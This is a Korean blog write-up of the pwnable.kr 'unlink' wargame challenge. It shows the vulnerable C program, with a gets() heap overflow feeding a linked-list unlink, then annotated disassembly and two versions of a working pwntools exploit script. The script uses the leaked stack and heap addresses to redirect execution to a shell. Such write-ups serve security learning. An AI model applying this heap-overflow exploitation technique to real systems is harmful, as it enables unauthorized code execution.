본문 바로가기
시스템 해킹/pwnable.kr

unlink

by sonysame 2016. 12. 27.

#include <stdio.h>

#include <stdlib.h>

#include <string.h>


typedef struct tagOBJ{

struct tagOBJ* fd;

struct tagOBJ* bk;

char buf[8];

}OBJ;


void shell(){

system("/bin/sh");

}//0x080484eb


void unlink(OBJ* P){

OBJ* BK;

OBJ* FD;

BK=P->bk;

FD=P->fd;

FD->bk=BK;

BK->fd=FD;

}


int main(int argc, char* argv[]){

malloc(1024);

OBJ* A = (OBJ*)malloc(sizeof(OBJ));

OBJ* B = (OBJ*)malloc(sizeof(OBJ));

OBJ* C = (OBJ*)malloc(sizeof(OBJ));

 0x804b410:A 0x804b428:B 0x804b440:C 이다! 이렇게 박힌다!!

// double linked list: A <-> B <-> C


A->fd = B;

B->bk = A;

B->fd = C;

C->bk = B;


printf("here is stack address leak: %p\n", &A); 0xbffff434

printf("here is heap address leak: %p\n", A);   0x0804b410

printf("now that you have leaks, get shell!\n");


// heap overflow!

gets(A->buf); get는 0x0804b418부터 써진다! 이 곳에 0x080484eb를 적는다.


// exploit this unlink!

unlink(B);

return 0;

}

코드는 다음과 같다.
여기서
A->fd=B
B->bk=A
B->fd=C
C->bk=B가 어떻게 구현되는지 살펴보자.

 0x804b410:A 0x804b428:B 0x804b440:C 이다!
 0x0804857d <+78>: mov    DWORD PTR [ebp-0x10],eax 0xbffff438: 0x804b440
 0x08048580 <+81>: mov    eax,DWORD PTR [ebp-0x14] eax=0x0804b410
 0x08048583 <+84>: mov    edx,DWORD PTR [ebp-0xc]  edx=0x0804b428
 0x08048586 <+87>: mov    DWORD PTR [eax],edx      A->fd 0x0804b410: 0x0804b428 B
 0x08048588 <+89>: mov    edx,DWORD PTR [ebp-0x14] edx=0x0804b410
 0x0804858b <+92>: mov    eax,DWORD PTR [ebp-0xc]  eax=0x0804b428
 0x0804858e <+95>: mov    DWORD PTR [eax+0x4],edx  B->bk 0x0804b42c: 0x0804b410 A
 0x08048591 <+98>: mov    eax,DWORD PTR [ebp-0xc]  eax=0x0804b428
 0x08048594 <+101>: mov    edx,DWORD PTR [ebp-0x10] edx=0x0804b440
 0x08048597 <+104>: mov    DWORD PTR [eax],edx      B->fd 0x0804b428: 0x0804b440 C
 0x08048599 <+106>: mov    eax,DWORD PTR [ebp-0x10] eax=0x0804b440
 0x0804859c <+109>: mov    edx,DWORD PTR [ebp-0xc]  edx=0x0804b428
 0x0804859f <+112>: mov    DWORD PTR [eax+0x4],edx  C->bk 0x0804b444: 0x0804b428 B

unlink가 이루어질때 어떤 일이 일어나는지 확인해보자

unlink부분을 보자


0x0804b418 1 0x0804b41c 2 0x0804b420 3 0x0804b424 4 0x0804b428 5(B) 0x0804b42c 6(B->bk)                 

             0x0804b42c->0x0804b410A->0x0804b428B->0x0804b440C   


 0x08048504 <+0>: push   ebp

 0x08048505 <+1>: mov    ebp,esp

 0x08048507 <+3>: sub    esp,0x10

 0x0804850a <+6>: mov    eax,DWORD PTR [ebp+0x8]  eax=5번째                                                                             

 0x0804850d <+9>: mov    eax,DWORD PTR [eax+0x4] : eax= 6번째 속에 있는 것(조작가능) (B->bk, 즉 A)

 0x08048510 <+12>: mov    DWORD PTR [ebp-0x4],eax :  0x0804b410 A (6) 조작한값A이 0xbffff414에 들어간다.

 0x08048513 <+15>: mov    eax,DWORD PTR [ebp+0x8]  eax=5번째 

 0x08048516 <+18>: mov    eax,DWORD PTR [eax]     :   eax=5번째 속에 있는 것(조작가능)(즉 C)

 0x08048518 <+20>: mov    DWORD PTR [ebp-0x8],eax : 0x0804b440 C (5) 조작한값C이 0xbffff410에 들어간다.

 0x0804851b <+23>: mov    eax,DWORD PTR [ebp-0x8] : eax=C(조작)

 0x0804851e <+26>: mov    edx,DWORD PTR [ebp-0x4] : edx=A(조작)

 0x08048521 <+29>: mov    DWORD PTR [eax+0x4],edx : A(조작)가 C(조작)+0x4한 곳에 들어간다.

 0x08048524 <+32>: mov    eax,DWORD PTR [ebp-0x4] : eax=A(조작)

 0x08048527 <+35>: mov    edx,DWORD PTR [ebp-0x8] : edx=C(조작)

 0x0804852a <+38>: mov    DWORD PTR [eax],edx     : C(조작)가 A(조작)에 들어간다.

 0x0804852c <+40>: nop

 0x0804852d <+41>: leave  

 0x0804852e <+42>: ret    


5C+0x4 bk <-A6

6A     <-C5

즉, A의 next가 C가 되고, C의 before가 A가 된다.


A<->C가 되어 B는 쏙 빠지게 된다.


이 unlink를 이용하여 원하는 곳에 원하는 값을 넣을 수 있다!!

하지만, shell()의 주소 0x080484eb를 이용하면 안된다.

왜냐하면, 코드부분이 덮어지면 세폴이 뜨기 때문이다.


일단, get()부분에서 0x804b418에 써지기 시작하고, 힙 오버플로우를 이용하여 A와 C를 바꿔버린다.


unlink가 끝난 뒤의 main함수를 이용합시댜!

0x080485f2 <+195>: call   0x8048504 <unlink>

0x080485f7 <+200>: add    esp,0x10

0x080485fa <+203>: mov    eax,0x0

0x080485ff <+208>: mov    ecx,DWORD PTR [ebp-0x4]

0x08048602 <+211>: leave  

0x08048603 <+212>: lea    esp,[ecx-0x4]

0x08048606 <+215>: ret    


get()할떄 처음에 0x80484eb를 써서 0x804b418:0x80484eb가 되게 한다.

ret에 들어가는 esp를 0x804b418이 되게 한다.

ecx=0x804b41c가 되게 한다.

ebp-0x4에 0x804b41c가 적히게 한다.

여기서, ebp-0x4는 0xbffff444

0xbffff444에 0x804b41c를 적는다.

즉, 5번째 요소가 0xbffff440, 6번째 요소가 0x804b41c

처음에 stack이 0xbffff434, heap이 0x0804b410이었으므로,

leak한 0xbffff434+c한 것이 5번째, 0x804b410+c한 것이 6번째 에 오버플로우시킨다.


from pwn import*

p=process('/home/unlink/unlink')

print p.recvuntil("leak: 0x")
address1=p.recv(8)
print p.recvuntil("leak: 0x")
address2=p.recv(8)

print address1
print address2

new_address1=hex(int(address1,16)+12)
new_address2=hex(int(address2,16)+12)
print new_address1
print new_address2

shell=0x80484eb
payload =p32(shell)
payload+="BBBB"
payload+="CCCC"
payload+="DDDD"
payload+=p32(int(new_address1,16))
payload+=p32(int(new_address2,16))
payload+='\n'

p.write(payload)
p.interactive()
p.close()



간단히!


from pwn import*


p=process('/home/unlink/unlink')


p.recvuntil("leak: 0x")

address1=p.recv(8)

p.recvuntil("leak: 0x")

address2=p.recv(8)


shell=0x80484eb

payload =p32(shell)

payload+="BBBB"

payload+="CCCC"

payload+="DDDD"

payload+=p32(int(address1,16)+12)

payload+=p32(int(address2,16)+12)

payload+='\n'


p.write(payload)

p.interactive()

p.close()



끝!!!

'시스템 해킹 > pwnable.kr' 카테고리의 다른 글

flag  (0) 2018.09.03
uaf  (0) 2016.12.24
brainfuck  (8) 2016.11.06